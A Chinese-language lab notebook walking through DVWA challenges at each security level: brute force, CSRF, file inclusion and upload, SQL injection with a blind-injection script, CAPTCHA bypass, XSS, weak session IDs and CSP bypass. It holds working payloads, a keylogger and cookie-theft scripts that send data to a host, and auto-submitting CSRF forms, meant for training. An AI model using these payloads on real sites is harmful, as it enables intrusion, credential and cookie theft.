dvwa做题笔记

brute force

low 直接爆破 或者 万能密码 admin’ or ‘1’=’1

1
2
select * from users where user='admin' and password='1'; //查询不到
select * from users where user='admin' or '1'='1' and password='1'; //有查询

medium 源码中加入mysqli_real_escape_string 过滤转义字符

high 首部里加了token 需要爆破 密码+token:

   burp intruder 
   位置一字典爆破
   递归查询Recursive grep为位置二选择递归

csrf

low 直接改,可以通过短链接隐藏url

或构造攻击页面

1
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change#"style="display:none;"/>

medium

源码中加了

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false //检验前者中是否存在后者(ip地址)

抓包在请求头中添加referer字段
对于攻击别人 可以命名攻击页面时加入对方的ip地址

high 要获取token,借助xss漏洞

或者 利用burpsuite中的CSRF Token Tracker绕过token验证插件,写入主机名,token字段,值,repeater

file inclusion:

low

没有任何筛选

  1. 访问网站根目录下文件
    ?page=../../phpinfo.php
  2. 访问不存在文件报错 可出服务器绝对路径
  3. 访问服务器非网站上绝对路径下文件
  4. 远程文件包含(需要 allow_url_include开启)
    ?page=http://baidu.con

medium

1
2
$file = str_replace( array( "http://", "https://" ), "", $file; 
$file = str_replace( array( "../", "..\"" ), "", $file );

过滤远程包含http://,https://,,/替换为空格
http 大小写绕 双写绕过

1
2
?page=httphttp://://127.0.0.1/phpinfo.php
?page=....//....//phpinfo.php

high

1
2
if( !fnmatch( "file*", $file ) && $file != "include.php" )
//fnmatch(pattern,string,flags) 查询是否匹配

参数开头必须是file (用file协议:只能本地文件传输)

1
?page=file://E:/1.jpg

impossible 源码:

1
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )

file upload

low:

无限制

medium:

验证conten-type
抓包修改

high

验证后缀和文件头
抓包修改文件头 加 GIF89 (gif图像的头文件
用文件包含漏洞解析。
http://127.0.0.1/DVWA-master/hackable/uploads/yjh.png
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://D:\phpStudy\PHPTutorial\WWW\DVWA-master\hackable\uploads\yjh.png
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/yjh.png
注意!蚁剑连接时需要提前预览网站获得cookie 在high级别(默认为impossible级别)
(在请求信息中加 bane:cookie value:…
或者用菜刀 手动把获得的cookie 级别 放到header头

sql injection

low:

输入’报错: use near ‘’1’’’ 为字符型注入
and 1=2 无报错无返回 存在注入点
order by 2 两列
通过select 1,database()得到数据库

1
2
select 1,table_name from information_schema.tables where table_schema=database()
select 1,column_name from information_schema.column where table_name='users/guestbook'

不想让他列很多条:group_concat

1
2
3
dvwa guestbook:comment_id comment name
users:user_id first_name last_name,user,
password...

medium:

只给选择没有发挥余地 url中无显示 猜测是post传id 翻源码发现自己漏了post submit且submit=submit(直接抓包修改会好一些)
1’#报错 1=1正常 1=2无返回 数字型注入,,且存在单引号转译
宽字节注入:
/的gbk编码为%5C
在此前加%DE,%DF,%E0都可以组成双字节编译的汉字
但对两个引号之间的内容有影响
(Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
转换为16进制绕过:
如 ‘dvwa’ 转换为 0x2764767761270a

### high:

同理可得为字符型
没有明显的错误提示 好像没有什么大碍 看源码知道它对id长度有限制 用#注释掉

### impossible:

输入全数字 限制长度1 返回检验
pod实现代码数据分离
可以学习一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   <?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

sql injection (Blind)

low:

1.bool

报错为:是否存在该id 基于布尔型的
同理可以试出为字符型注入、字段数
扒库名:试length(database()) 然后26字母一个一个试….

1
substr(database(),n,1)='a'~'z'或者二分:转为ascii:ascii(substr(database(),1,1))<100

扒表名:

1
2
length(substr((select column_name from information_schema.columns where table_schema=database() and table_name=%27users%27 limit '+str(i)+',1),1))
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit '+str(i)+',1),'+str(j+1)+',1))='+str(k)+' %23&Submit=Submit%23'

脚本(bool):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import requests
import re
sess=requests.session()
url='http://127.0.0.1/dvwa-master/login.php'
text=sess.get(url).text
pattern=re.compile(r'user_token\' value=\'.*\' />')
token=''.join(pattern.findall(text))
token=token.replace('user_token\' value=\'','')
token=token.replace('\' />','')
data={
'username':'admin',
'password':'1',
'Login':'Login',
'user_token':token
}
result=sess.post('http://127.0.0.1/dvwa-master/login.php',data)
headers={'Cookie':'security=### low;PHPSESSID=5gsndsj97lro4dk90u29j6dov1'}
host = "http://127.0.0.1/dvwa-master/vulnerabilities/sqli_blind/?"
ans=''
#csrf token incorrect 原因是自动连接impossible等级 传header

## def getdatabase():
## for i in range(1,1000):
## ### low = 32
## ### high = 128
## mid = (### low+### high)//2
## while ### low<### high:
## mid = (### low+### high)//2
## url = host + "id=1'+and+ascii(substr(database()%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#"
## res = sess.get(url,headers=headers).text
#
## if "User ID is MISSING from the database" in res:
## ### low = mid+1
## else:
## ### high = mid
## if mid <=32 or mid >=127:
## break
## ans += chr(### high-1);
## print("database is ->"+ans)




## ## def table:
## databasename='dvwa'
## for i in range(1,100):
## url =host + "id=1'and (select count(table_name) from information_schema.tables where table_schema='"+databasename+"')="+str(i)+"%23&Submit=Submit#"
## res = sess.get(url, headers=headers).text
## if "User ID is MISSING from the database" in res:
## continue
## else:
## table_num=i
## break
## print(table_num)
## for k in range(table_num):
## print( )
## ans=''
## for i in range(1,1000):
## ### low = 32
## ### high = 128
## mid = (### low+### high)//2
## while ### low<### high:
## mid = (### low+### high)//2
## url = host + "id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase()+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#"
## res = sess.get(url,headers=headers).text
## if "User ID is MISSING from the database" in res:
## ### low = mid+1
## else:
## ### high = mid
## if mid <=32 or mid >=127:
## break
## ans += chr(### high-1);
## print("table is ->"+ans)




## ## def column:
## tablename='guestbook'
## for i in range(1,100):
## url =host + "id=1'and (select count(column_name) from information_schema.columns where table_name='"+tablename+"')="+str(i)+"%23&Submit=Submit#"
## res = sess.get(url, headers=headers).text
## if "User ID is MISSING from the database" in res:
## continue
## else:
## column_num=i
## break
## print(column_num)
## for k in range(column_num):
## ans=''
## for i in range(1,1000):
## ### low = 32
## ### high = 128
## mid = (### low+### high)//2
## while ### low<### high:
## mid = (### low+### high)//2
## url = host + "id=1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'"+tablename+"'+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#"
## res = sess.get(url,headers=headers).text
## if "User ID is MISSING from the database" in res:
## ### low = mid+1
## else:
## ### high = mid
## if mid <=32 or mid >=127:
## break
## ans += chr(### high-1)
## print("column is ->" + ans)


#def data
table_name='users'
columnname='User'
for i in range(1,100):
url =host + "id=1'and (select count("+columnname+") from "+table_name+")="+str(i)+"%23&Submit=Submit#"
res = sess.get(url, headers=headers).text
if "User ID is MISSING from the database" in res:
continue
else:
num=i
break
print(num)
for k in range(num):
ans=''
for i in range(1,1000):
### low = 32
### high = 128
mid = (### low+### high)//2
while ### low<### high:
mid = (### low+### high)//2
url = host + "id=1'+and+ascii(substr((select+"+columnname+"+from+"+table_name+"+limit+"+str(k)+"%2C1)%2C"+str(i)+"%2C1))<"+str(mid)+"+%23+&Submit=Submit#"
res = sess.get(url,headers=headers).text
if "User ID is MISSING from the database" in res:
### low = mid+1
else:
### high = mid
if mid <=32 or mid >=127:
break
ans += chr(### high-1)
print("data is ->"+ans)

2.时间盲注:
存在时间延迟为正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1' and sleep(4)#
1' and if(length(database())=4,sleep(5),1)##
//数据库长度
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)##
//数据库名
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
//表的个数
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103,sleep(5),1)#
//表名
1' and if((select count(column_name) from information_schema.columns where table_name='users')=11,sleep(5),1)#
//列的个数
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117,sleep(5),1)#
//字段名
1' and if(ascii(substr((select user from users limit 0,1),1))=97,sleep(5),1) #
//字段

medium:

源码中存在:

1
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

burpsuite抓包修改

high:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
//limit 1 限制输入 用#注释

if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
//中间sleep函数起到混淆的作用

只能使用抓包修改+bool盲注

insecure captcha(不安全验证码)

low:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );

// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

mysql_close();
}

?>

审计源码 存在逻辑漏洞 即step=2 时即判断验证通过
抓包改step=2
csrf脚本:

1
2
3
4
5
6
7
8
9
10
11
12
  <html>      
<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="step" value="2"
<input type="hidden" name="Change" value="Change">
</form>
</div>
</body>
</html>

medium:

多加了一行验证

1
2
3
4
5
if( !$_POST[ 'passed_captcha' ] ) { 
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

抓包改step=2,增加参数passed_captcha=true

high:

1
2
3
4
5
6
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

需要 resp合法 或者 recaptcha_response_field=hidd3n_valu3 http_user_agent=recaptcha
同样抓包修改

impossible:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
if( isset( $_POST[ 'Change' ] ) ) { 
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );

// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

xss(dom)

low:

直接在url中注入

1
<script>alert(1)</script>有弹出 存在xss漏洞

漏洞利用:通过xss平台 注入

1
<sCRiPt sRC=//xss8.cc/XJH3></sCrIpT> 获得cookie(或自己编写js脚本)

如果是使用:

1
<img src=1 onerror=alert(1)>

要跳出dom树

medium:

源码中有判断

1
2
3
4
if (stripos ($default, "<script") !== false)
大小写绕过失败 <Script>alert('1')</script>
多写绕过失败 <scr<script>ipt>alert(1)</script>
换标签绕过失败 <img src=1 onerror=alert(1)>

因为 当使用image时

1
2
3
4
5
6
7
8
注入:></option><img src=1 onerror=alert(1)>
输出点显示为:<option value="%3E%3C/option%3E%3Cimg%20src=1%20onerror=alert(1)%3E">></option>
<script>中的代码会被浏览器直接当作js执行
但如果是<image>就要先逃逸出select
<select>只允许内嵌<option>
<option>能内嵌<script>不能<img>
所以注入
></option></select><img src=1 onerror=alert(1)>

成功

high:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

## White list the al### lowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
## ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>

由源码得知 检验只允许出现所给选项
URL的锚(#符号之后的任何内容)可以被js读取,且不会发送到服务器,因此无法被阻止。
构造

1
?default=English ## <script>alert(1)</script> 且可以在源代码中出现

xss(reflected)

low:

无保护

medium:

可以大小写绕过 多写绕过

high:

换标签绕过:

1
<img src=1 onerror=alert(1)>

xss(stored)

low:

无保护

medium:

可大小写和多写

high:

换标签绕过 前端限制长度可以通过抓包来改
(注入在name里 message里面没用)

记录xss一些危害代码:

innerHTML: 篡改页面

1
<script>document.body.innerHTML="<div style=visibility:visible;><h1>DOM XSS By SKI12</h1></div>";</script>

document.onkeypress:键盘记录

1
<script src="http://127.0.0.1/keylogger.js"></script>

js代码:

1
2
3
4
5
6
7
8
9
10
11
document.onkeypress=function(evt){
evt=evt || window.event
key=String.fromCharCode(evt.charCode)
if(key){
var http=new XMLHttpRequest();
var param=encodeURI(key);
http.open("POST","http://127.0.0.1/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}

php代码:(接收js传输回来的信息)

1
2
3
4
5
6
7
<?php
$key=$_POST['key'];
$logfile='keylog.txt';
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp)
>

creatElement(): 窃取cookie:

1
<script>var img=document.createElement("img");img.src="http://127.0.0.1:8000/a?"+escape(document.cookie);</script>

weak session ids

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限。

low:

1
2
3
4
Cookie: dvwaSession=2; security=### low; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6
Cookie: dvwaSession=3; security=### low; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6
Cookie: dvwaSession=4; security=### low; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6
Cookie: dvwaSession=5; security=### low; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6

找规律可得 cookie变化为dvwasession每次加一

medium:

1
2
3
Cookie: dvwaSession=1612706387; security=### medium; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6
Cookie: dvwaSession=1612706413; security=### medium; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6
Cookie: dvwaSession=1612706455; security=### medium; PHPSESSID=pp0qtc5p4k1mpm7bahf6ec8vb6

猜测是时间
可以用在线时间戳转换工具https://tool.lu/timestamp/(计算好攻击时间)

high:

md5处理了### low的12345…
找个网站在线md5就好

impossible:

随机数+时间戳 不可伪造

CSP bypass

csp:Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

low:

文件头中存在的:

1
Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;

源码:

1
2
3
4
5
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}

根据标签中的内容判断在pastebin网站上写js代码可以被执行
理论上 是

1
include https://pastebin.com/raw/AEa42UZK 

这样一个网页就行了的 然而 我的页面没有弹窗。。
没有办法

medium:

头文件中出现:

1
2
3
4
5
6
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

unsafe-inline:
Al### lows the use of inline resources, such as inline `<script>` elements, javascript: URLs, inline event handlers, and inline <style> elements. You must include the single quotes.
nonce-
A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy. It is critical to provide an unguessable nonce, as bypassing a resource’s policy is otherwise trivial.

直接输入:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

high:

头文件中:
script-src ‘self’:只允许自身加载JS

查看源码 有接收一个post方式的include参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/### high.js"></script>
';

因为不包含’unsafe-inline’ 所以不能用